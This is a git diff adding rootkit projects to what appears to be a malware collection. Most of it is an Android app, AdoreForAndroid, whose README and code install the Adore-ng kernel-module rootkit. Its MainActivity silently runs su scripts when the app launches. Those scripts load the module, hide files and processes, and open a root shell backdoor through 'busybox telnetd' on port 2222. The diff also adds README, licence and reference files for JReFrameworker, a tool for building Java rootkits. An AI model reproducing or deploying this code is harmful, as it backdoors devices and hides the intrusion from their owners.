diff --git a/Android/AdoreForAndroid/.classpath b/Android/AdoreForAndroid/.classpath new file mode 100644 index 0000000..a4763d1 --- /dev/null +++ b/Android/AdoreForAndroid/.classpath @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/Android/AdoreForAndroid/.gitattributes b/Android/AdoreForAndroid/.gitattributes new file mode 100644 index 0000000..412eeda --- /dev/null +++ b/Android/AdoreForAndroid/.gitattributes @@ -0,0 +1,22 @@ +# Auto detect text files and perform LF normalization +* text=auto + +# Custom for Visual Studio +*.cs diff=csharp +*.sln merge=union +*.csproj merge=union +*.vbproj merge=union +*.fsproj merge=union +*.dbproj merge=union + +# Standard to msysgit +*.doc diff=astextplain +*.DOC diff=astextplain +*.docx diff=astextplain +*.DOCX diff=astextplain +*.dot diff=astextplain +*.DOT diff=astextplain +*.pdf diff=astextplain +*.PDF diff=astextplain +*.rtf diff=astextplain +*.RTF diff=astextplain diff --git a/Android/AdoreForAndroid/.gitignore b/Android/AdoreForAndroid/.gitignore new file mode 100644 index 0000000..6dae747 --- /dev/null +++ b/Android/AdoreForAndroid/.gitignore @@ -0,0 +1,36 @@ +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Windows Installer files +*.cab +*.msi +*.msm +*.msp + +# ========================= +# Operating System Files +# ========================= + +# OSX +# ========================= + +.DS_Store +.AppleDouble +.LSOverride + +# Icon must ends with two \r. +Icon + +# Thumbnails +._* + +# Files that might appear on external disk +.Spotlight-V100 +.Trashes diff --git a/Android/AdoreForAndroid/.project b/Android/AdoreForAndroid/.project new file mode 100644 index 0000000..aaa2935 --- /dev/null +++ b/Android/AdoreForAndroid/.project @@ -0,0 +1,33 @@ + + + adore + + + + + + com.android.ide.eclipse.adt.ResourceManagerBuilder + + + + + com.android.ide.eclipse.adt.PreCompilerBuilder + + + + + org.eclipse.jdt.core.javabuilder + + + + + com.android.ide.eclipse.adt.ApkBuilder + + + + + + com.android.ide.eclipse.adt.AndroidNature + org.eclipse.jdt.core.javanature + + diff --git a/Android/AdoreForAndroid/.settings/org.eclipse.jdt.core.prefs b/Android/AdoreForAndroid/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..b080d2d --- /dev/null +++ b/Android/AdoreForAndroid/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,4 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6 +org.eclipse.jdt.core.compiler.compliance=1.6 +org.eclipse.jdt.core.compiler.source=1.6 diff --git a/Android/AdoreForAndroid/AndroidManifest.xml b/Android/AdoreForAndroid/AndroidManifest.xml new file mode 100644 index 0000000..2d3e5ed --- /dev/null +++ b/Android/AdoreForAndroid/AndroidManifest.xml @@ -0,0 +1,32 @@ + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Android/AdoreForAndroid/README.md b/Android/AdoreForAndroid/README.md new file mode 100644 index 0000000..65e0c90 --- /dev/null +++ b/Android/AdoreForAndroid/README.md @@ -0,0 +1,9 @@ +AdoreForAndroid +=============== + +Transplant adore rootkit for Android platform. +In this project, I transplant Adore-ng rootkit to Android platform. After installing this app on your phone, Adore will +be installed into your system as a kernel module, and hooks system calls. +By using Adore, this app can open ports on your device as backdoor, and also hide any files and ports from users. +For more details you can refer to the presentation folder. + diff --git a/Android/AdoreForAndroid/assets/adore-ng.ko b/Android/AdoreForAndroid/assets/adore-ng.ko new file mode 100644 index 0000000..a9bb06e Binary files /dev/null and b/Android/AdoreForAndroid/assets/adore-ng.ko differ diff --git a/Android/AdoreForAndroid/assets/ava b/Android/AdoreForAndroid/assets/ava new file mode 100644 index 0000000..c75b83a Binary files /dev/null and b/Android/AdoreForAndroid/assets/ava differ diff --git a/Android/AdoreForAndroid/assets/script1 b/Android/AdoreForAndroid/assets/script1 new file mode 100644 index 0000000..88a3ee9 --- /dev/null +++ b/Android/AdoreForAndroid/assets/script1 @@ -0,0 +1,8 @@ +#! /system/bin/sh + +touch adore-ng.ko +touch ava +touch script2 +chmod 777 adore-ng.ko +chmod 777 ava +chmod 777 script2 diff --git a/Android/AdoreForAndroid/assets/script2 b/Android/AdoreForAndroid/assets/script2 new file mode 100644 index 0000000..82220b8 --- /dev/null +++ b/Android/AdoreForAndroid/assets/script2 @@ -0,0 +1,10 @@ +#! /system/bin/sh + +insmod adore-ng.ko +./ava h adore-ng.ko +./ava h ava +./ava h script1 +./ava h script2 +busybox telnetd -l /system/bin/sh -p 2222 +var=`busybox ps | grep -m 1 telnet | cut -f2 -d " "` +./ava i $var diff --git a/Android/AdoreForAndroid/bin/AndroidManifest.xml b/Android/AdoreForAndroid/bin/AndroidManifest.xml new file mode 100644 index 0000000..2d3e5ed --- /dev/null +++ b/Android/AdoreForAndroid/bin/AndroidManifest.xml @@ -0,0 +1,32 @@ + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Android/AdoreForAndroid/bin/classes/com/example/adore/BuildConfig.class b/Android/AdoreForAndroid/bin/classes/com/example/adore/BuildConfig.class new file mode 100644 index 0000000..1570533 Binary files /dev/null and b/Android/AdoreForAndroid/bin/classes/com/example/adore/BuildConfig.class differ diff --git a/Android/AdoreForAndroid/bin/classes/com/example/adore/MainActivity$myThread.class b/Android/AdoreForAndroid/bin/classes/com/example/adore/MainActivity$myThread.class new file mode 100644 index 0000000..bbb5792 Binary files /dev/null and b/Android/AdoreForAndroid/bin/classes/com/example/adore/MainActivity$myThread.class differ diff --git a/Android/AdoreForAndroid/bin/classes/com/example/adore/MainActivity.class b/Android/AdoreForAndroid/bin/classes/com/example/adore/MainActivity.class new file mode 100644 index 0000000..434917a Binary files /dev/null and b/Android/AdoreForAndroid/bin/classes/com/example/adore/MainActivity.class differ diff --git a/Android/AdoreForAndroid/bin/classes/com/example/adore/R$attr.class b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$attr.class new file mode 100644 index 0000000..3635092 Binary files /dev/null and b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$attr.class differ diff --git a/Android/AdoreForAndroid/bin/classes/com/example/adore/R$drawable.class b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$drawable.class new file mode 100644 index 0000000..6146550 Binary files /dev/null and b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$drawable.class differ diff --git a/Android/AdoreForAndroid/bin/classes/com/example/adore/R$id.class b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$id.class new file mode 100644 index 0000000..f5c39e7 Binary files /dev/null and b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$id.class differ diff --git a/Android/AdoreForAndroid/bin/classes/com/example/adore/R$layout.class b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$layout.class new file mode 100644 index 0000000..b68f720 Binary files /dev/null and b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$layout.class differ diff --git a/Android/AdoreForAndroid/bin/classes/com/example/adore/R$menu.class b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$menu.class new file mode 100644 index 0000000..b76d85b Binary files /dev/null and b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$menu.class differ diff --git a/Android/AdoreForAndroid/bin/classes/com/example/adore/R$string.class b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$string.class new file mode 100644 index 0000000..b7193c2 Binary files /dev/null and b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$string.class differ diff --git a/Android/AdoreForAndroid/bin/classes/com/example/adore/R$style.class b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$style.class new file mode 100644 index 0000000..3eb043d Binary files /dev/null and b/Android/AdoreForAndroid/bin/classes/com/example/adore/R$style.class differ diff --git a/Android/AdoreForAndroid/bin/classes/com/example/adore/R.class b/Android/AdoreForAndroid/bin/classes/com/example/adore/R.class new file mode 100644 index 0000000..3b17f71 Binary files /dev/null and b/Android/AdoreForAndroid/bin/classes/com/example/adore/R.class differ diff --git a/Android/AdoreForAndroid/bin/jarlist.cache b/Android/AdoreForAndroid/bin/jarlist.cache new file mode 100644 index 0000000..1b5ec3f --- /dev/null +++ b/Android/AdoreForAndroid/bin/jarlist.cache @@ -0,0 +1,3 @@ +# cache for current jar dependecy. DO NOT EDIT. +# format is +# Encoding is UTF-8 diff --git a/Android/AdoreForAndroid/gen/com/example/adore/BuildConfig.java b/Android/AdoreForAndroid/gen/com/example/adore/BuildConfig.java new file mode 100644 index 0000000..5057eed --- /dev/null +++ b/Android/AdoreForAndroid/gen/com/example/adore/BuildConfig.java @@ -0,0 +1,6 @@ +/** Automatically generated file. DO NOT MODIFY */ +package com.example.adore; + +public final class BuildConfig { + public final static boolean DEBUG = true; +} \ No newline at end of file diff --git a/Android/AdoreForAndroid/gen/com/example/adore/R.java b/Android/AdoreForAndroid/gen/com/example/adore/R.java new file mode 100644 index 0000000..34322f7 --- /dev/null +++ b/Android/AdoreForAndroid/gen/com/example/adore/R.java @@ -0,0 +1,58 @@ +/* AUTO-GENERATED FILE. DO NOT MODIFY. + * + * This class was automatically generated by the + * aapt tool from the resource data it found. It + * should not be modified by hand. + */ + +package com.example.adore; + +public final class R { + public static final class attr { + } + public static final class drawable { + public static final int ic_launcher=0x7f020000; + } + public static final class id { + public static final int menu_settings=0x7f070000; + } + public static final class layout { + public static final int activity_main=0x7f030000; + } + public static final class menu { + public static final int activity_main=0x7f060000; + } + public static final class string { + public static final int app_name=0x7f040000; + public static final int hello_world=0x7f040001; + public static final int menu_settings=0x7f040002; + } + public static final class style { + /** + Base application theme, dependent on API level. This theme is replaced + by AppBaseTheme from res/values-vXX/styles.xml on newer devices. + + + Theme customizations available in newer API levels can go in + res/values-vXX/styles.xml, while customizations related to + backward-compatibility can go here. + + + Base application theme for API 11+. This theme completely replaces + AppBaseTheme from res/values/styles.xml on API 11+ devices. + + API 11 theme customizations can go here. + + Base application theme for API 14+. This theme completely replaces + AppBaseTheme from BOTH res/values/styles.xml and + res/values-v11/styles.xml on API 14+ devices. + + API 14 theme customizations can go here. + */ + public static final int AppBaseTheme=0x7f050000; + /** Application theme. + All customizations that are NOT specific to a particular API-level can go here. + */ + public static final int AppTheme=0x7f050001; + } +} diff --git a/Android/AdoreForAndroid/ic_launcher-web.png b/Android/AdoreForAndroid/ic_launcher-web.png new file mode 100644 index 0000000..424f260 Binary files /dev/null and b/Android/AdoreForAndroid/ic_launcher-web.png differ diff --git a/Android/AdoreForAndroid/libs/android-support-v4.jar b/Android/AdoreForAndroid/libs/android-support-v4.jar new file mode 100644 index 0000000..6080877 Binary files /dev/null and b/Android/AdoreForAndroid/libs/android-support-v4.jar differ diff --git a/Android/AdoreForAndroid/presentation/Adore-ng - Part2.pptx b/Android/AdoreForAndroid/presentation/Adore-ng - Part2.pptx new file mode 100644 index 0000000..b1f9157 Binary files /dev/null and b/Android/AdoreForAndroid/presentation/Adore-ng - Part2.pptx differ diff --git a/Android/AdoreForAndroid/presentation/Adore-ng Rootkit Transplant and Detection Tool Development.doc b/Android/AdoreForAndroid/presentation/Adore-ng Rootkit Transplant and Detection Tool Development.doc new file mode 100644 index 0000000..dde53c0 Binary files /dev/null and b/Android/AdoreForAndroid/presentation/Adore-ng Rootkit Transplant and Detection Tool Development.doc differ diff --git a/Android/AdoreForAndroid/presentation/Adore-ng.pptx b/Android/AdoreForAndroid/presentation/Adore-ng.pptx new file mode 100644 index 0000000..8dfe6d8 Binary files /dev/null and b/Android/AdoreForAndroid/presentation/Adore-ng.pptx differ diff --git a/Android/AdoreForAndroid/proguard-project.txt b/Android/AdoreForAndroid/proguard-project.txt new file mode 100644 index 0000000..f2fe155 --- /dev/null +++ b/Android/AdoreForAndroid/proguard-project.txt @@ -0,0 +1,20 @@ +# To enable ProGuard in your project, edit project.properties +# to define the proguard.config property as described in that file. +# +# Add project specific ProGuard rules here. +# By default, the flags in this file are appended to flags specified +# in ${sdk.dir}/tools/proguard/proguard-android.txt +# You can edit the include path and order by changing the ProGuard +# include property in project.properties. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# Add any project specific keep options here: + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} diff --git a/Android/AdoreForAndroid/project.properties b/Android/AdoreForAndroid/project.properties new file mode 100644 index 0000000..9b84a6b --- /dev/null +++ b/Android/AdoreForAndroid/project.properties @@ -0,0 +1,14 @@ +# This file is automatically generated by Android Tools. +# Do not modify this file -- YOUR CHANGES WILL BE ERASED! +# +# This file must be checked in Version Control Systems. +# +# To customize properties used by the Ant build system edit +# "ant.properties", and override values to adapt the script to your +# project structure. +# +# To enable ProGuard to shrink and obfuscate your code, uncomment this (available properties: sdk.dir, user.home): +#proguard.config=${sdk.dir}/tools/proguard/proguard-android.txt:proguard-project.txt + +# Project target. +target=android-16 diff --git a/Android/AdoreForAndroid/res/drawable-hdpi/ic_launcher.png b/Android/AdoreForAndroid/res/drawable-hdpi/ic_launcher.png new file mode 100644 index 0000000..0e79b18 Binary files /dev/null and b/Android/AdoreForAndroid/res/drawable-hdpi/ic_launcher.png differ diff --git a/Android/AdoreForAndroid/res/drawable-ldpi/ic_launcher.png b/Android/AdoreForAndroid/res/drawable-ldpi/ic_launcher.png new file mode 100644 index 0000000..ebfac7d Binary files /dev/null and b/Android/AdoreForAndroid/res/drawable-ldpi/ic_launcher.png differ diff --git a/Android/AdoreForAndroid/res/drawable-mdpi/ic_launcher.png b/Android/AdoreForAndroid/res/drawable-mdpi/ic_launcher.png new file mode 100644 index 0000000..1183441 Binary files /dev/null and b/Android/AdoreForAndroid/res/drawable-mdpi/ic_launcher.png differ diff --git a/Android/AdoreForAndroid/res/drawable-xhdpi/ic_launcher.png b/Android/AdoreForAndroid/res/drawable-xhdpi/ic_launcher.png new file mode 100644 index 0000000..c8ab2a1 Binary files /dev/null and b/Android/AdoreForAndroid/res/drawable-xhdpi/ic_launcher.png differ diff --git a/Android/AdoreForAndroid/res/layout/activity_main.xml b/Android/AdoreForAndroid/res/layout/activity_main.xml new file mode 100644 index 0000000..e97c5f9 --- /dev/null +++ b/Android/AdoreForAndroid/res/layout/activity_main.xml @@ -0,0 +1,14 @@ + + + + + \ No newline at end of file diff --git a/Android/AdoreForAndroid/res/menu/activity_main.xml b/Android/AdoreForAndroid/res/menu/activity_main.xml new file mode 100644 index 0000000..77f358b --- /dev/null +++ b/Android/AdoreForAndroid/res/menu/activity_main.xml @@ -0,0 +1,9 @@ + + + + + \ No newline at end of file diff --git a/Android/AdoreForAndroid/res/values-v11/styles.xml b/Android/AdoreForAndroid/res/values-v11/styles.xml new file mode 100644 index 0000000..541752f --- /dev/null +++ b/Android/AdoreForAndroid/res/values-v11/styles.xml @@ -0,0 +1,11 @@ + + + + + + \ No newline at end of file diff --git a/Android/AdoreForAndroid/res/values-v14/styles.xml b/Android/AdoreForAndroid/res/values-v14/styles.xml new file mode 100644 index 0000000..f20e015 --- /dev/null +++ b/Android/AdoreForAndroid/res/values-v14/styles.xml @@ -0,0 +1,12 @@ + + + + + + \ No newline at end of file diff --git a/Android/AdoreForAndroid/res/values/strings.xml b/Android/AdoreForAndroid/res/values/strings.xml new file mode 100644 index 0000000..695a49d --- /dev/null +++ b/Android/AdoreForAndroid/res/values/strings.xml @@ -0,0 +1,8 @@ + + + + adore + Hello world! + Settings + + \ No newline at end of file diff --git a/Android/AdoreForAndroid/res/values/styles.xml b/Android/AdoreForAndroid/res/values/styles.xml new file mode 100644 index 0000000..4a10ca4 --- /dev/null +++ b/Android/AdoreForAndroid/res/values/styles.xml @@ -0,0 +1,20 @@ + + + + + + + + + \ No newline at end of file diff --git a/Android/AdoreForAndroid/src/com/example/adore/MainActivity.java b/Android/AdoreForAndroid/src/com/example/adore/MainActivity.java new file mode 100644 index 0000000..d4dc7bf --- /dev/null +++ b/Android/AdoreForAndroid/src/com/example/adore/MainActivity.java @@ -0,0 +1,325 @@ +package com.example.adore; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.OutputStream; +import java.io.Reader; + +import android.app.Activity; +import android.os.Bundle; +import android.util.Log; +import android.view.Menu; + +public class MainActivity extends Activity { + private void copyBigDataBase1() { + InputStream myInput = null; + OutputStream myOutput = null; + String script1 = "script1"; + String outFileName = "/script1"; + + //Transfer script1 + try { + myOutput = new FileOutputStream(outFileName); + } catch (FileNotFoundException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + Log.i("TAG", "After open dest script1 file"); + + try { + myInput = this.getAssets().open(script1); + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + Log.i("TAG", "After open script1 file in assets"); + + byte[] buffer = new byte[1024]; + int length; + + try { + while ((length = myInput.read(buffer)) > 0) { + myOutput.write(buffer, 0, length); + } + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + Log.i("TAG", "After transfer script1 file"); + + try { + myOutput.flush(); + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + + try { + myOutput.close(); + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + + try { + myInput.close(); + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + } + + private void copyBigDataBase2() { + InputStream myInput = null; + OutputStream myOutput = null; + String kernelModu = "adore-ng.ko"; + String ava = "ava"; + String script2 = "script2"; + String outFileName1 = "/adore-ng.ko"; + String outFileName2 = "/ava"; + String outFileName3 = "/script2"; + + //Transfer adore-ng.ko + try { + myOutput = new FileOutputStream(outFileName1); + } catch (FileNotFoundException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + Log.i("TAG", "After open dest adore.ko file"); + + try { + myInput = this.getAssets().open(kernelModu); + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + Log.i("TAG", "After open adore.ko file in assets"); + + byte[] buffer1 = new byte[1024]; + int length1; + + try { + while ((length1 = myInput.read(buffer1)) > 0) { + myOutput.write(buffer1, 0, length1); + } + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + Log.i("TAG", "After transfer adore.ko file"); + + try { + myOutput.flush(); + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + + try { + myOutput.close(); + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + + try { + myInput.close(); + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + + //Transfer ava file + try { + myOutput = new FileOutputStream(outFileName2); + } catch (FileNotFoundException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + Log.i("TAG", "After open dest ava file"); + + try { + myInput = this.getAssets().open(ava); + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + Log.i("TAG", "After open ava file in assets"); + + byte[] buffer2 = new byte[1024]; + int length2; + + try { + while ((length2 = myInput.read(buffer2)) > 0) { + myOutput.write(buffer2, 0, length2); + } + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + Log.i("TAG", "After transfer ava file"); + + try { + myOutput.flush(); + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + + try { + myOutput.close(); + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + + try { + myInput.close(); + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + + //Transfer script2 file + try { + myOutput = new FileOutputStream(outFileName3); + } catch (FileNotFoundException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + Log.i("TAG", "After open dest script2 file"); + + try { + myInput = this.getAssets().open(script2); + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + Log.i("TAG", "After open script2 file in assets"); + + byte[] buffer3 = new byte[1024]; + int length3; + + try { + while ((length3 = myInput.read(buffer3)) > 0) { + myOutput.write(buffer3, 0, length3); + } + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + Log.i("TAG", "After transfer script2 file"); + + try { + myOutput.flush(); + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + + try { + myOutput.close(); + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + + try { + myInput.close(); + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + } + + class myThread extends Thread { + public void run() { + String cmd1[] = {"su", "-c", "touch script1"}; + try { + Runtime.getRuntime().exec(cmd1); + } catch (IOException e1) { + // TODO Auto-generated catch block + e1.printStackTrace(); + } + Log.i("TAG", "After touch script1"); + try { + Thread.currentThread().sleep(5000); + } catch (InterruptedException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + + + String cmd2[] = {"su", "-c", "chmod 777 script1"}; + try { + Runtime.getRuntime().exec(cmd2); + } catch (IOException e1) { + // TODO Auto-generated catch block + e1.printStackTrace(); + } + Log.i("TAG", "After chmod script1"); + try { + Thread.currentThread().sleep(5000); + } catch (InterruptedException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + + + copyBigDataBase1(); + Log.i("TAG", "After copy script1"); + + + String cmd3[] = {"su", "-c", "./script1"}; + try { + Runtime.getRuntime().exec(cmd3); + } catch (IOException e1) { + // TODO Auto-generated catch block + e1.printStackTrace(); + } + Log.i("TAG", "After exec script1"); + try { + Thread.currentThread().sleep(5000); + } catch (InterruptedException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + + + copyBigDataBase2(); + Log.i("TAG", "After copy adore-ng.ko ava script2"); + + + String cmd7[] = {"su", "-c", "./script2"}; + try { + Runtime.getRuntime().exec(cmd7); + } catch (IOException e1) { + // TODO Auto-generated catch block + e1.printStackTrace(); + } + Log.i("TAG", "After execute script2"); + } + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_main); + + myThread tt = new myThread(); + tt.start(); + } + + @Override + public boolean onCreateOptionsMenu(Menu menu) { + // Inflate the menu; this adds items to the action bar if it is present. + getMenuInflater().inflate(R.menu.activity_main, menu); + return true; + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/.gitignore b/Cross Platform/Rootkits/JReFrameworker/.gitignore new file mode 100644 index 0000000..bb977e7 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/.gitignore @@ -0,0 +1,6 @@ +.DS_Store + +*.class + +# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml +hs_err_pid* diff --git a/Cross Platform/Rootkits/JReFrameworker/CREDITS b/Cross Platform/Rootkits/JReFrameworker/CREDITS new file mode 100644 index 0000000..59d7b83 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/CREDITS @@ -0,0 +1,8 @@ +Icon: Sure That Real Designers Are Able To Create An Improved Version +Credit: speichern-unter.net +License: CC BY 3.0 +Reference: http://www.iconshut.com/sure-that-real-designers-are-able-to-create-an-improved-version--icons/dT1hSFIwY0RvdkwzTndaV2xqYUdWeWJpMTFiblJsY2k1dVpYUXZabWxzWlhNdmMyRjJaV0Z6WHpVdUxuQnVad3x1cj1odHRwczovL2ZvcnVtLmtkZS5vcmcvdmlld3RvcGljLnBocD9mPTI4NSZhbXA7dD0xMjM3Njd8dz0yNzV8aD0yNzV8dD1wbmd8/, https://forum.kde.org/viewtopic.php?f=285&t=123767 + +Icon: Java Evil Edition +Credit: Jackal von ÖRF? +Reference: http://thedailywtf.com/articles/Classics-Week-The-Call-of-Codethulhu diff --git a/Cross Platform/Rootkits/JReFrameworker/LICENSE b/Cross Platform/Rootkits/JReFrameworker/LICENSE new file mode 100644 index 0000000..9557e5c --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/LICENSE @@ -0,0 +1,22 @@ +The MIT License (MIT) + +Copyright (c) 2017 Ben Holland + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + diff --git a/Cross Platform/Rootkits/JReFrameworker/README.md b/Cross Platform/Rootkits/JReFrameworker/README.md new file mode 100644 index 0000000..a69c240 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/README.md @@ -0,0 +1,6 @@ +# JReFrameworker +[![Join the chat at https://gitter.im/JReFrameworker](https://badges.gitter.im/JReFrameworker.svg)](https://gitter.im/JReFrameworker/support) + +A practical tool for creating Managed Code Rootkits (MCRs) in the Java Runtime Environment or general purpose bytecode manipulation. + +For more details visit: [jreframeworker.com](https://jreframeworker.com/) diff --git a/Cross Platform/Rootkits/JReFrameworker/REFERENCES.md b/Cross Platform/Rootkits/JReFrameworker/REFERENCES.md new file mode 100644 index 0000000..f0f674c --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/REFERENCES.md @@ -0,0 +1,49 @@ +# References +This is a just running list of useful references found during the development of this project. + +## Java/JVM Talks +- [invokedynamic for Mere Mortals](https://www.youtube.com/watch?v=Q5mVy0BAxG0#t=6h15m30s) +- [The Adventurous Developer’s Guide to JVM Languages](https://www.youtube.com/watch?v=Q5mVy0BAxG0#t=7h44m20s) +- [Black Hat USA 2002 - Security Aspects in Java Bytecode Engineering](https://www.youtube.com/watch?v=DYY0FSnaQXE) +- [Black Hat USA 2012 - Recent Java Exploitation Trends and Malware](https://www.youtube.com/watch?v=5JN65JZmHjM) +- [Black Hat USA 2013 - Java Every-Days: Exploiting Software Running on 3 Billion Devices](https://www.youtube.com/watch?v=HO0CkhndCQQ) + +## Runtime Patching +- [Rubah is a Dynamic Software Updating (DSU) system for Java that works on stock JVMs](https://github.com/plum-umd/rubah), [Quick Start](http://web.ist.utl.pt/~luis.pina/oopsla14/aec/getting-started.html), [Steps](http://web.ist.utl.pt/~luis.pina/oopsla14/aec/step-by-step.html), [Slides](https://www.infoq.com/presentations/rubah), [Paper](http://www.cs.umd.edu/~mwh/papers/rubah-oopsla14.pdf) +- [Java Geeks Using the BootClasspath - Tweaking the Java Runtime API](http://www.tedneward.com/files/Papers/BootClasspath/BootClasspath.pdf) +- [Covert Java: Techniques for Decompiling, Patching, and Reverse Engineering](http://www.amazon.com/gp/product/0672326388/ref=as_li_tl?ie=UTF8&camp=1789&creative=390957&creativeASIN=0672326388&linkCode=as2&tag=zombiest-20&linkId=6WARWI6KSNMYLBWS) +- [-Xbootclasspath Oracle Docs](https://docs.oracle.com/cd/E15289_01/doc.40/e15062/optionx.htm#i1018570) +- Hotpatching a Java 6 Application ([Part 1](http://www.fasterj.com/articles/hotpatch1.shtml) and [Part 2](http://www.fasterj.com/articles/hotpatch2.shtml)) +- [Java Endorsed Standards Override Mechanism](https://docs.oracle.com/javase/7/docs/technotes/guides/standards/) +- [JRebel Explained](http://zeroturnaround.com/rebellabs/reloading-objects-classes-classloaders/) +- [Stack Overflow Question on Editing rt.jar](https://stackoverflow.com/questions/8433047/overriding-single-classes-from-rt-jar) +- [JEP 159: Enhanced Class Redefinition](http://openjdk.java.net/jeps/159) +- [HotswapAgent](http://www.hotswapagent.org/quick-start) + [Hotswap Projects](https://github.com/HotswapProjects) +- [Oracle FPUpdater Tool](http://www.oracle.com/technetwork/java/javase/fpupdater-tool-readme-305936.html) +- [ClassLoader to Reload Class Definitions](https://stackoverflow.com/questions/3971534/how-to-force-java-to-reload-class-upon-instantiation) +- [DYNAMIC SOFTWARE UPDATING (Dissertation)](http://www.cs.umd.edu/~mwh/papers/thesis.pdf) +- [Dynamic Software Updating for Java](http://www.luispina.me/projects/rubah.html) + +## Bytecode Manipulations +- [ASM Whitepaper](http://asm.ow2.org/current/asm-eng.pdf) +- [ASM Transformations Whitepaper](http://asm.ow2.org/current/asm-transformations.pdf), [MIRROR](https://src.fedoraproject.org/lookaside/extras/asm2/asm-transformations.pdf/991a1ccdb3e79fe393aed7477f4f7ca5/asm-transformations.pdf) +- [Merging Classes with ASM](http://www.jroller.com/eu/entry/merging_class_methods_with_asm) +- [Updated Version of ASM Bytecode Outline Plugin](http://andrei.gmxhome.de/bytecode/index.html) +- [Konloch Bytecode Viewer](https://github.com/Konloch/bytecode-viewer) +- [BCEL](https://commons.apache.org/proper/commons-bcel/manual.html) + +## Intermediate Languages +- [Soot](https://sable.github.io/soot/) +- [Soot Command Line Options](https://ssebuild.cased.de/nightly/soot/doc/soot_options.htm) + +## Eclipse Plugin Development +- [Project Builders and Natures](https://eclipse.org/articles/Article-Builders/builders.html) +- [Incremental Builders](http://help.eclipse.org/mars/index.jsp?topic=%2Forg.eclipse.platform.doc.isv%2Fguide%2FresAdv_builders.htm) +- [Eclipse Launch Frameworker](https://www.eclipse.org/articles/Article-Launch-Framework/launch.html) +- [Eclipse Launchers](http://alvinalexander.com/java/jwarehouse/eclipse/org.eclipse.jdt.launching/launching/org/eclipse/jdt/internal/launching/JavaAppletLaunchConfigurationDelegate.java.shtml) +- [Eclipse Java 